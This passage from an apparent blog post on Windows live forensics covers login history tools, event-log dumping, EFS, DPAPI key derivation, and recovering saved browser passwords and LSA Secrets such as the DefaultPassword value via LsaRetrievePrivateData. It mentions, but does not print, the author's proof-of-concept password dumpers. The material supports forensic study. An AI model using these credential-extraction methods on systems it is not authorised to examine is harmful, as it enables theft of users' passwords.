TCP 127.0.0.1:2194 127.0.0.1:445 ESTABLISHED

UDP 0.0.0.0:445 *:*

History of logins

To obtain a list of last logons, successful or not, we can use the NTLast

http://www.mcafee.com/us/downloads/free-tools/ntlast.aspx

tool from McAfee. It depends on Windows Events and reads .svt files and applies different filters. It's easy to spot password guessing attempts and failed login attempts (using -f option), generate reports. It also has a verbose option (-v flag) that shows the logoff time also when possible:

d:\>ntlast -n 20

Administrator LAPTOP Sat Jun 23 03:31:13pm 2012

liviu LAPTOP Sat Jun 23 02:28:54pm 2012

NETWORK SERVICE NT AUTHORITY Sat Jun 23 02:14:08pm 2012

LOCAL SERVICE NT AUTHORITY Sat Jun 23 12:47:19pm 2012

Here we see different kinds of successful login events: local administrator login (generated by a command like 'PsExec -u Administrator -p pass' ), the current user login and two services started under NT_AUTHORITY, one of them by PsExec -s option (run a process in System account).

(This information can also be viewed Event Viewer, Security section.)

System event logs

Windows events store lots of information about the security of the system and the applications and users' activity. PsLogList

http://www.windowsitpro.com/article/monitoring-and-analysis/psloglist

, from the same PsTools package, is a very flexible tool, that uses Event Log API to dump all the information from event logs (security events, system and application events, but also events logged by any particular application that reports through Event Viewer). Important features:

It can be used to dump logs from remote machines (using \\computer_name -u user_name parameters)

It can apply lots of filters, to show just or to exclude the following: date/time, user name, event id, event type (errors, warnings), application name,

Export files under different formats: supports comma-separated value (CSV), and the default delimiter can be changed (with -t switch)

Aggregates event logs data from multiple computers (using the @computers_file switch).

So this can be used automatically to check for local or network anomalies, but also during forensic analysis process to confirm user's actions and establish content. This really seems like a “Swiss-army knife event log-management utility”, like its authors describe it.

Transparently encrypted data

Users may have encrypted data that needs to be accessed on the fly, and that is available transparently while the user is still logged in. Here we can have files, folders or even drives protected by the EFS

http://en.wikipedia.org/wiki/Encrypting_File_System

(Encrypting File System) feature of NTFS file system. This uses a very strong form of encryption, and is only recoverable with the user's credentials or with a recovery agent's certificate (maybe if the computer was part of a domain and a recovery agent was already defined). Not even brute force encryption will be possible off-line for EFS, because the implementation of the algorithms is unknown, and the protocols is not reversed. There are works in this area

Elie Burzstein, Jean Michel Picod, Recovering Windows Secrets and certificates offline, Black Hat 2010

, to reverse engineer and understand data blocks used in EFS, so this file system could be accessed from other operating systems, given the user name and password.

Some browsers (Chrome and Internet Explorer) store user's saved credentials for visited sites protected by DPAPI (Data Protection API)

http://msdn.microsoft.com/en-us/library/ms995355.aspx

. It's confidentiality is based on user's login credentials. The relation between DPAPI, user password, master and session keys and protected data is describe below.

Data protection application programming interface is a stronger option for developers to protect the sensitive data, available starting from Windows 2000. It is a service that provides confidentiality of data by using encryption. Because data protection is part of the operating system, every application can secure data without needing any specific cryptographic code other than the necessary function calls to DPAPI. It uses Triple-DES algorithm, strong keys and ties them to user’s logon password. Because all applications running in the context of a user would have access to data protected by this user, a 'secret' is introduced, to act as secondary entropy (it it’s stored unprotected, other applications could use it to unprotect data). There is also the option to use a prompt which sets/asks for a password (usable only in GUI applications).

The key derivation process is as follows: DPAPI initially generates a Master Key (512 bits of random data). To protect it, a key is derived from the SHA1 hash of user’s password, a salt and an iteration count, through a Password Based Key Derivation Function (PBKDF2 from PKCS #5, with 4000 iterations). An HMAC is calculated for the Master Key (to prevent tampering). The derived key is used to encrypt (TDES, CBC mode) the Master Key and HMAC. The encrypted Master Key and HMAC, unencrypted salt and iteration count, are all stored in a Master Key file, which resides in the user's profile directory.

Figure 1.3: Master key in DPAPI

A session key is a symmetric key used to encrypt and decrypt the actual data. It is not stored anywhere, it is always derived and removed from memory (thus the importance of acquiring data protected by it on time). It is derived by CryptoAPI calls, using as input the Master Key, 16 random bytes, an optional entropy and/or optional user password. The random bytes are stored unprotected in the output data blob.

Figure 1.4: Session key in DPAPI

Two example source codes have been included showing how to use this functionality to encrypt and decrypt data blobs.

Helix 2008 R1 forensic distribution contains tools to extract credentials stored in Chrome's sqlite database (chromepass program, from Nirsoft) and also from registry, as stored by Internet Explorer, all versions (the iepv tool). The APIs used to do that are described by Microsoft. Chrome browser is open source and the 'tricks' used by IE after version 7 were already discovered. Because of these reasons and also because the existing tools for browser password dumping are detected as viruses by many anti-virus software or contain adware/spyware and are closed-source, I've coded some simple proof of concept password dumpers for browsers (I've attached the cpp code (tools\pass recover\my\)

http://code.google.com/p/secrets/

). This could help understanding the underlying mechanisms of storing passwords, not only the ones used by browsers but also by other applications utilizing data protection API.

LSA Secrets

“LSA secrets” is a special protected storage for important data used by the Local Security Authority (LSA) in Windows. LSA is designed for managing a system's local security policy, auditing, authenticating, logging users on to the system, storing private data. The important thing to realize about LSA Secrets is that it potentially contains credentials for services started under specific users, passwords for accounts that log on from external domains, as well as Dial-up Networking passwords. This “secret” information is stored in an encrypted format in the registry key HKLM\SECURITY\Policy\Secrets. Normally, these registry keys are not visible even if you run regedit as Administrator, because the permissions for this key show that only the SYSTEM account has access to it. Each secret (key) here contains the data in CurrVal sub-key. For example on systems with auto logon enabled, there is a key called DefaultPassword that contains the cached logon password. For unknown reasons, this key exists even on some systems without auto logon enabled (I had that key on a Windows XP SP3, and I have never had auto login, and other people are reporting the same problem - a possible breach). A method to try to get the logon password (used by other tools also, like Cain&Abel) is to query the value from DefaultPassword key and decrypt it using functions from Windows API. So LSA secret storage can be read in the context of current user by using functions exported by Advapi32 library, LsaRetrievePrivateData being the most useful. A sample application for this purpose is created and attached (http://code.google.com/p/secrets/).

6 Non-volatile data

Live forensics and incident response process should not neglect non-volatile data. First, logical files and logs may be collected. Here the netcat program may be useful (or it's variant that uses encryption, cryptcat) to send logs to a remote server. In the final phase, the physical hard drives, floppies, backup tapes, CD/DVD-ROMs, USB thumb drives, flash memory cards and other storage media from the scene are taken into custody. Also any relevant materials and printouts found may be collected.

The initial evidence collection process is important to establish the level of response that will be needed further and to fully understand the scope of the incident Often, a pre-defined check-list will reduce the risk of forgetting to gather some important proof or mistaking the order of volatility. One example of a check list found online is the procedure for incidents response on Windows systems of UCF University

https://publishing.ucf.edu/sites/itr/cst/Documents/infosec/Procedure_for_Windows_Incident_Response.pdf

. This is meant to assist an investigator to better record the initial findings. A procedure like this should be kept and updated, and complemented with written notes and observations from the investigators.

Pages

Thursday, September 20, 2012

Tuesday, September 18, 2012

Friday, September 14, 2012

Tuesday, September 11, 2012

Method 1)

Method 2)

Method 3)

Method 1)

Method 2)

Monday, September 10, 2012

Saturday, August 4, 2012